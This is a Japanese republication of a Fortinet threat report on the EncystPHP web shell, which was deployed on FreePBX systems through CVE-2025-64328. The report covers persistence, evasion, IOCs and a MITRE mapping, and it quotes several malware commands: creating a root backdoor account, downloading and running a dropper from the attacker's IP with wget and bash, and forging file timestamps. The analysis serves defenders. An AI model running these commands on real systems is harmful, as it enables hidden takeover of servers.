Webシェルを悪用し脆弱なシステムを乗っ取る「EncystPHP」

文●フォーティネットジャパン 編集●ASCII

提供: フォーティネットジャパン

  • この記事をはてなブックマークに追加
  • 本文印刷

本記事はフォーティネットジャパンが提供する「FORTINETブログ」に掲載された「武器化されたWebシェル「EncystPHP」の解明」を再編集したものです。

米国時間2026年1月28日に掲載されたフォーティネットブログの抄訳です。

影響を受けるプラットフォーム:FreePBX Endpoint Manager v17.0.2.36 – v17.0.3
影響を受けるユーザー    :あらゆる組織
影響            :リモートの攻撃者による脆弱なシステムの乗っ取り
深刻度           :高

FortiGuard Labsは、「EncystPHP」と命名したWebシェルを発見しました。EncystPHPは、リモートコマンドの実行、永続化メカニズム、Webシェルの展開を含む高度な機能を備えています。インシデントは昨年12月初旬に発生し、FreePBXの脆弱性(CVE-2025-64328)の悪用を通じて伝播しました。

この悪意ある活動は、2020年に初めて確認されたハッカーグループINJ3CTOR3と関連していると考えられます。当初、同グループはCVE-2019-19006を集中的に悪用していましたが、2022年にはCVE-2021-45461を介してElastixシステムに焦点を移しました。これらのインシデントでは、FreePBXの脆弱性の悪用から始まり、ターゲット環境にPHPのWebシェルが展開されます。フォーティネットは、本キャンペーンがINJ3CTOR3に関連する最近の攻撃活動と行動パターンを反映していると評価しています。

以下は、関連するインシデントとEncystPHP Webシェルの詳しい分析です。

インシデントの概要

Webシェルは、CVE-2025-64328(FreePBX Endpoint Managerの管理インタフェースに存在する認証後のコマンドインジェクションの脆弱性)を介して配信されました。

この悪用はブラジルを起点として行われ、クラウドソリューション、通信サービス、ITインフラストラクチャを専門とするインドのテクノロジー企業が管理する被害者環境を標的としていました。

図1:FreePBXの管理インタフェース

攻撃者は、IPアドレス 45[.]234[.]176[.]202(ドメイン crm[.]razatelefonia[.]pro)からEncystPHPのドロッパーをダウンロードしました。このIPアドレスに紐づくRaza Telefoniaというサイトは、VoIP管理システムのログイン画面を装っています。

図2:CVE-2025-64328経由のEncystPHP攻撃トラフィック

図3:マルウェアのダウンロードに使用されているWebサイト

ダウンロード元の new/ ルートへの接続要求は、自動的にk.phpという別のドロッパーにリダイレクトされます。

図4:マルウェアのダウンロード元からEncystPHPドロッパーへリダイレクトする

マルウェア分析

EncystPHPは当初、FreePBXの脆弱性CVE-2025-64328を悪用して配信されていました。このマルウェアは、cという名前のファイルを介して被害ホスト上にWebシェルを展開しており、このファイルが以降の解析の起点となります。

図5:EncystPHPのファイルフロー

ドロッパーはまず、ajax.phpmodel.phpのファイル権限を000に変更し、両方のファイルを読み取り不可、書き込み不可、実行不可にします。

図6:ファイル権限を000に変更する

EncystPHPは次に、/etc/freepbx.conf からデータベースの構成情報を収集しようと試み、cronジョブのエントリーと、ampuser、svc_freepbx、freepbx_svc、bluej、nahda、FreePBX_setup、emoadmin、nvd0rzを含む複数のFreePBXユーザーアカウントを削除します。

図7:データベースの構成情報を収集し、コマンドとユーザーを削除する

続いて、Base64デコード関数、パケットヘッダー、シェルコマンドを実行するPHP関数などの内容を手がかりとして、Webシェルに関連するPHPファイルを検索し、一致するファイルをすべて削除します。

図8:他のPHP Webシェルを削除する

EncystPHPはまた、Badr、b3d0r、pastebin、yokyok、bm2cjnRXac1WW3KT7k6MKTRといった文字列を含むPHPファイルをスキャンし、これらのファイルを削除します。これらは、Webシェル自体の古いバージョンや他の悪意あるPHPファイルに関連している可能性があります。

図9:特定の文字列を含むPHPファイルを削除する

侵害されたホストの制御を永続化するために、このマルウェアは newfpbx というroot権限を持つユーザーを作成し、複数のユーザーアカウントのパスワードを同一の値にリセットした上で、権限をエスカレートさせます。
 

useradd -s /bin/bash  -ou 0 -g 0 -p
'$1$faV63BKr$4jH3MqYYmrpM55P.AWD2U1' newfpbx &>/dev/null

図10:同一のパスワードでシステムユーザーを変更する

この動作に従って、EncystPHPはSSH公開鍵をインジェクションし、デフォルトのSSHポート(22)が常に開放された状態になるようシステム構成を変更します。

図11:SSH公開鍵をインジェクションする

図12:SSHを常に開放された状態にする

さらに、Webシェルの展開と永続化を支えるため、追加のドロッパーをダウンロードします。

(setsid wget "hxxp://45[.]234[.]176[.]202/new/k.php" -O /var/spool/asterisk/tmp/serv 2>/dev/null >/dev/null; bash /var/spool/asterisk/tmp/serv 2>/dev/null > /dev/null & ) 2>&1

図13:Base64エンコードされたコマンドで別のドロッパーをダウンロードする

cドロッパー実行の最終段階で、EncystPHPはログファイルを改ざんし、endpointというFreePBX Endpoint Managerモジュールを削除します。これらの処理が完了すると、FreePBX関連ファイルのファイル権限を復元し、サービス例外を回避するための構成を再読み込みします。

図14:痕跡を消去し、エンドポイントを削除する

cドロッパーは、Base64エンコードされたWebシェルを展開し、k.phpという名前の別のドロッパーをダウンロードします。k.phpドロッパーも、Base64エンコードされたWebシェルの展開、構成コンポーネントの設定、永続化メカニズムの確立を含む同様の処理を実行します。

Webシェル

ペイロードはBase64エンコード形式で配信され、ドロッパーコンポーネントによって実行時にデコードされます。デコードされたPHP Webシェルは、ajax.phpという正規のFreePBXファイルを装ってディスクに書き込まれ、アプリケーションの構造に紛れ込むよう設計されています。

図15:Base64エンコードされたWebシェル

認証には単純な検証メカニズムが使用され、Webインタフェースを介して入力された平文のパスワードがMD5でハッシュ化され、Webシェルに埋め込まれたハードコードされたハッシュ値に照合されます。

図16:Webシェル認証検証インタフェースのソースコード

図17:Webシェル認証検証インタフェース

図18:ハードコードされたMD5認証情報を検証する

認証に成功すると、Webシェルは Ask Masterと題された対話型インタフェースを公開します。このインタフェースには、ファイルシステムの列挙、プロセスのインスペクション、アクティブなAsteriskチャネルの照会、Asterisk SIPピアの一覧表示、複数のFreePBXおよびElastix構成ファイルの取得など、複数の定義済み操作コマンドが含まれています。

図19:Webシェルインタフェースのソースコード

図20:Webシェルインタフェース

ElastixとFreePBXの管理コンテキストを活用することで、Webシェルは昇格した特権で動作し、侵害されたホスト上で任意のコマンドの実行や、PBX環境を通じた発信通話を開始できるようになります。

図21:ElastixとFreePBXの特権昇格

ドロッパー

k.phpファイルにも、前述のBase64エンコードされたWebシェルが含まれています。実行されると、ペイロードをデコードしてajax.phpとしてディスクに書き込み、複数の場所に展開します。

図22:Webシェルの展開

このドロッパーは、パス/var/www/html/ の下に digium_phones/, rest_phones/, digium_phoness/, phones/, fpbxphones/, freepbxphones/, and freepbx/を含む複数のディレクトリを作成します。

続いて、WebシェルEncystPHPを、/var/www/html/admin/views/ajax.phpおよび/var/www/html/rest_phones/ajax.phpから、以下の表のファイルパスにコピーします。これらのパスは、一般的にアクセス可能なWebルートに対応しており、1つのインスタンスが削除されても代替のアクセスポイントが利用可能であるよう確保することでレジリエンスを高めています。

/var/www/html/rest_phones/ajax.php
/var/www/html/admin/modules/core/ajax.php
/var/www/html/digium_phones/ajax.php
/var/www/html/admin/assets/js/config.php
/var/www/html/admin/assets/config.php
/var/www/html/admin/assets/ajax.php
/var/www/html/admin/modules/core/ajax.php
/var/www/html/phones/ajax.php
/var/www/html/digium_phoness/ajax.php
/var/www/html/fpbxphones/ajax.php
/var/www/html/freepbxphones/ajax.php
/var/www/html/freepbx/ajax.php

Webシェルを展開した後、ドロッパーはタイムスタンプを偽造して正規ファイルのタイムスタンプと一致させ、日常的なインスペクションで検知されにくくします。

touch /var/www/html/admin/views/ajax.php -r
/var/www/html/admin/views/footer.php

次に、マルウェアはBase64エンコードされた構成ファイルをデコードし、/var/www/html/admin/views/.htaccess に書き込みます。この構成により、URLリダイレクトのための RewriteCond および RewriteRule ディレクティブが有効になります。これらのルールはまず、要求されたリソースがディレクトリでもファイルでもシンボリックリンクでもないことを検証します。最終ルールは、1文字以上の空白文字で始まる要求をconfig.phpにリダイレクトするよう指定します。

図23:EncystPHPの構成

最後に、ドロッパーはBase64エンコードされたシェルスクリプトをデコードし、/var/spool/asterisk/tmp/test.sh および /tmp/test.sh. に書き込みます。このスクリプトは bashを使って実行され、その後にフォレンジック上の痕跡を残さないようスクリプト自体が削除されます。

図24:Base64エンコードされた永続化シェルスクリプト

永続化

EncystPHPにより実装される永続化メカニズムは、4つの段階で構成されます。最初に、test.shを実行する前に永続性を確立します。この段階で、ドロッパーcは、セカンダリドロッパーk.phpを毎分ダウンロードする複数のcrontabエントリーを設定し、 /var/lib/asterisk/bin/zen2 および /var/lib/asterisk/bin/devnull2 として保存します。

図25:初期段階でのドロッパーcの永続化

次に、 test.sh は第2および第3の永続化段階をトリガーします。license.phpというBase64エンコードされたファイルをデコードし、 /var/www/html/admin/modules/freepbx_ha/ に書き込みます。このファイルはその後、2つのドロッパー(c、k.php)をダウンロードし、追加のcrontabエントリーを設定します。

図26:永続化シェルスクリプトのtest.sh

第3段階では、3分ごとに定期的にドロッパーk.phpをダウンロードし、 /var/lib/asterisk/bin/devnull として保存します。次に、rmコマンドを実行せずに3回echo出力することで、EncystPHPがシステムから削除されたように見せかけます。

図27:test.sh内のcrontabコマンド

第4段階の永続化は、license.phpを介して実行されます。ドロッパー k.phpを/var/lib/asterisk/bin/devnull2として、ドロッパーcを /var/lib/asterisk/bin/devnull23 および /trmp/devnull24 として、1分間隔でダウンロードします。この段階では、永続性を維持することに加えて、エラー報告を無効にし、EncystPHPを実行し、ログ痕跡の削除を行い、検出を困難にします。

図28:永続性PHPファイルのlicense.php

結論

本インシデントは、CVE-2025-64328を悪用して、EncystPHPのような永続性を備えたステルス型のWebシェルをFreePBX環境に展開できることを示しており、パッチが適用されていないPBXシステムが依然として高価値な標的であることを浮き彫りにしています。攻撃手法は決して新しいものではありませんが、観測された振る舞いは、過去のINJ3CTOR3キャンペーンを忠実に反映しつつ、現在の運用状況に適応した、能動的かつ継続的な脅威であることを反映しています。

このような活動は、正規のFreePBXやElastixコンポーネントに巧妙に紛れ込むことが可能であるため、即座に検知されず、影響を受けたシステムが長期的な永続化、不正な管理アクセス、通話リソースの悪用など、よく知られたリスクにさらされることになります。この脆弱性の悪用が成功した場合、組織はシステムが完全に侵害されたものとして扱い、さらなる影響を軽減するために、早急な修復、監視、セキュリティの強化を優先して実施すべきです。

フォーティネットのソリューション

この記事で説明したマルウェアは、FortiGuardアンチウイルスによって以下として検知され、ブロックされます。

 PHP/EncystPHP.A!tr
 BASH/EncystPHP.A!tr

FortiGuard AntiVirusサービスエンジンは、FortiGateFortiMailFortiClientFortiEDRに統合されています。これらの製品を最新のシグネチャで運用しているお客様は、本レポートに記載されているマルウェアコンポーネントから保護されます。

FortiGuard Webフィルタリングサービスは、このC2サーバーをブロックします。

FortiGuard Labsは、以下の脆弱性を悪用するサイバー攻撃に対するIPSシグネチャを提供しています。

 CVE-2025-64328: 59448 FreePBX.Administration.GUI.filestore.Command.Injection

基礎的なセキュリティ意識の強化を目指すお客様は、サイバーセキュリティに関するフォーティネット認定ファンダメンタルズ(FCF)トレーニングの実施もご検討ください。このモジュールを受講することで、エンドユーザーがフィッシング攻撃を特定して自らを保護する方法を習得できます。

FortiGuard IPレピュテーションおよびアンチボットネットセキュリティサービスは、フォーティネットが全世界に展開するセンサーネットワーク、CERTの連携、MITRE、信頼できる業界パートナー、その他のインテリジェンスソースから収集した悪意あるIPインテリジェンスを相関させることで、このキャンペーンに関連するインフラストラクチャをプロアクティブにブロックします。

このようなサイバーセキュリティの脅威の影響を受けていることが疑われる場合は、グローバルのFortiGuardインシデントレスポンスチームにお問い合わせください。

IOC(Indicators of Compromise:侵害指標)

URL
hxxp://45[.]234[.]176[.]202/new/c
hxxp://45[.]234[.]176[.]202/new/k.php

ホスティング
45[.]234[.]176[.]202
187[.]108[.]1[.]130

ファイル
71d94479d58c32d5618ca1e2329d8fa62f930e0612eb108ba3298441c6ba0302
7e3a47e3c6b82eb02f6f1e4be6b8de4762194868a8de8fc9103302af7915c574
fc514c45fa8e3a49f003eae4e0c8b6a523409b8341503b529c85ffe396bb74f2
285fac34a5ffdac7cb047d412862e1ca5e091e70c0ac0383b71159fdd0d20bb2
29d74963f99563e711e5db39261df759f76da6893f3ca71a4704b9ee2b26b8c7

EncystPHPキャンペーンのMITRE ATT&CKマッピング

戦術 手法ID 手法名 EncystPHPで観測された活動
初期アクセス T1190 公開されたアプリケーションの悪用 CVE-2025-64328を介したFreePBX Endpoint Managerの悪用による、認証後のコマンドインジェクションの実行
実行 T1059.004 コマンドやスクリプトのインタプリタ:Unixシェル インジェクションされたペイロードやダウンロードされたシェルスクリプトを介したBashコマンドの実行
永続化 T1053.003 スケジュールされたタスク / ジョブ:Cron ドロッパーのダウンロードと実行を繰り返すための、複数のcrontabエントリーの設定
永続化 T1505.003 サーバーソフトウェアコンポーネント:Webシェル 正規のFreePBX PHPファイル(ajax.php、config.php)を装ったEncystPHPの展開
権限昇格 T1068 権限昇格を目的とした悪用 FreePBXの管理者コンテキストを悪用した、昇格した権限でのコマンドの実行
権限昇格 T1136.001 アカウントの作成:ローカルアカウント UID 0のroot権限を持つユーザーアカウント(newfpbx)の作成
認証情報アクセス T1003 OS認証情報ダンプ /etc/freepbx.confからのデータベース資格情報の収集
防御の回避 T1070.004 ホスト上の痕跡消去:ファイルの削除 ログ、cronの痕跡、FreePBX Endpoint Managerモジュールの削除
防御の回避 T1222.002 ファイルおよびディレクトリ権限の変更:Linux ファイル権限の000への変更による、アクセスのブロックとインスペクションの妨害
防御の回避 T1036.005 なりすまし:正規の名称または場所への一致 正規FreePBXファイルパスへのWebシェルの書き込みと、タイムスタンプの偽装
防御の回避 T1562.001 防御の弱体化:ツールの無効化または変更 競合するWebシェルの削除とエラー報告の無効化
ラテラルムーブメント T1021.004 リモートサービス:SSH 攻撃者が管理するSSH公開鍵のインジェクションとポート22の強制的な解放
コマンド&コントロール T1105 侵入時ツール転送 攻撃者が管理するインフラストラクチャからのドロッパー(c、k.php)の繰り返しダウンロード
コマンド&コントロール T1071.001 アプリケーション層プロトコル:Webプロトコル HTTPを使用したペイロード配信とコマンド実行
影響 T1496 リソースの乗っ取り 不正な通話操作のためのPBXリソースの悪用

■関連サイト